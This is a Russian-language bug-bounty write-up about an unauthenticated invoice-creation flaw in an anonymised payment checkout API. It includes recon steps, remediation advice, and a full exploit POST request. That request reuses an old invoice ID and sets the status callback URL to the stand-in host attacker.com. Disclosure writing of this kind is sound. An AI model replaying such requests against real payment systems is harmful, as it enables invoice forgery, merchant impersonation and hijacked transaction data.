Привет, охотники! Это мой новый разбор, и он посвящён очень интересной находке — нарушению контроля доступа в платёжной платформе, благодаря которому у меня получилось создавать и подделывать счета.

Давайте начнём…

Введение

Изучая онлайн-платформу для обработки платежей на предмет возможных уязвимостей, я обнаружил критическую проблему с контролем доступа. Она позволяла любому пользователю создавать счета, привязанные к существующим идентификаторам — без какой-либо аутентификации или авторизации. Такая ошибка в настройках может легко привести к имперсонации, фишингу или даже мошенничеству в крупном размере, если этим воспользуются злоумышленники.

В этом посте я расскажу, как обнаружил уязвимость, о своём подходе и о том, как я сообщил о ней. Как и всегда, никаких конфиденциальных данных получено не было и никакого реального вреда нанесено не было.

Цель

Давайте назовём её vulnerable.com. Эта платформа предоставляет услуги по обработке платежей и оформлению заказов для продавцов. Меня особо заинтересовал их API для оформления заказов, а именно такой эндпоинт:

https://checkoutv2.vulnerable.com/v1/checkout/create

Разведка

Я начал своё исследование checkoutv2.vulnerable.com следующим образом:

• Фаззинг

• Поиск старых URL и параметров через архивы

• Просмотр сайта и отслеживание сетевых запросов во время процесса оформления заказа

• Использование инструментов вроде Burp Suite для перехвата трафика

• Проверка архивных версий сайта через Wayback Machine

В архиве Wayback Machine я нашёл такой эндпоинт:

https://checkoutv2.vulnerable.com/v1/checkout/create

Этапы:

1 – Когда я попытался получить доступ к нему через браузер, я увидел:

Метод GET не разрешён, поэтому я поменял его на POST через Burp Suite.

2 – После того как я получил доступ через Burp, я увидел:

Он принимает только тип содержимого — json

3 – Затем я добавил в запрос Content-Type text/json и поместил случайные значения JSON в тело запроса:

{

“new”: ”hello”

}

И как видно на изображении выше, бэкэнд отвечает такими JSON-параметрами —

“invoiceIdentifier”,

"payCurrency",

"checkStatusUrl"

Это навело меня на мысль — а что если я повторно использую старый ID счета с этими же JSON-параметрами?

Я снова воспользовался Wayback Machine, чтобы найти возможные ID счетов:

4 – Эксплойт:

POST /v1/checkout/create HTTP/2
Host: checkoutv2.vulnerable.com
Content-Type: application/json

{
“invoiceIdentifier”: “00000000000000000000000000000000000”,
“payCurrency”: “usd”,
“checkStatusUrl”: “https://attacker.com"
}

И… бум ? — я получил успешный ответ:

HTTP/2 200 OK
Date: Tue, 27 May 2025 16:18:34 GMT
Content-Type: application/json
Cache-Control: no-cache, private
X-Robots-Tag: noindex

{
“data”: {
“isSuccess”: true,
“message”: “”,
“txid”: “0000000000000000000000000000000000000”
},
“status”: 1
}

• Нет токена аутентификации  

• Нет сессионной cookie  

• Нет привязки аккаунта  

• Нет проверки владельца по идентификатору счета  

Это классическая уязвимость типа Broken Access Control.

Я решил проверить, был ли созданный мной счет успешно оформлен. Для этого я перешел по  этому эндпоинту из результатов wayback machine:

https://checkoutv2.vulnerable.com/v1/checkout/check-invoice-status/invoice-id

И угадайте что… Бууум! Он в статусе «ожидание», а это значит, что запрос на создание счета прошел успешно.

Я был словно...

Что может пойти не так?

Эта уязвимость открывает двери для нескольких вариантов атак:

• Подделка счетов: злоумышленник может генерировать транзакции, привязанные к счетам, которыми он не владеет.  

• Имитация продавца: эти поддельные счета могут использоваться в фишинговых кампаниях или мошенничестве.  

• Callback Hijacking: контролируемый злоумышленником checkStatusUrl, позволяет похищать статус транзакции или конфиденциальные данные.

Представьте, если злоумышленники зарегистрируют сотни транзакций, указывающих на их собственные сервера проверки статуса. Это не просто логическая ошибка — это потенциальный финансовый риск.

Реакция команды кибербезопасности компании:

К сожалению это был дубль, уязвимость уже была найдена внутренней командой по тестированию и мониторингу компании :)

Ответственность при тестировании

Из уважения к платформе и её пользователям, я не стал продолжать тестирование после подтверждения уязвимости. Я прекратил тесты, как только увидел, что система принимает повторно используемые идентификаторы счетов, и удостоверился, что ни одни реальные пользовательские данные не были затронуты.

Рекомендации по исправлению

Для устранения этой проблемы я порекомендовал:

• Валидировать владельца счета: проверять, принадлежит ли invoiceIdentifier аутентифицированной сессии.  

• Ограничить checkStatusUrl: разрешать устанавливать только URL-адреса продавцов из белого списка.  

• Добавить ключи идемпотентности или HMAC-подписи для чувствительных операций вроде создания счета.

Основные выводы

• Всегда проверяйте владельца объекта на бэкенд-эндпойнтах — даже если считаете их «внутренними».  

• Никогда не доверяйте пользовательскому вводу при операциях, критичных для безопасности, например, при генерации счетов.  

• Архивы типа Wayback Machine могут быть настоящей находкой для тестирования устаревших или забытых идентификаторов.

Финальные мысли

Это была интересная и полезная находка. Она напомнила мне, к каким серьёзным уязвимостям могут привести один раскрытый UUID и отсутствие проверки. Респект вендору за достойную реакцию!

На этом всё. Надеюсь, вам было интересно и вы узнали что-то новое.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер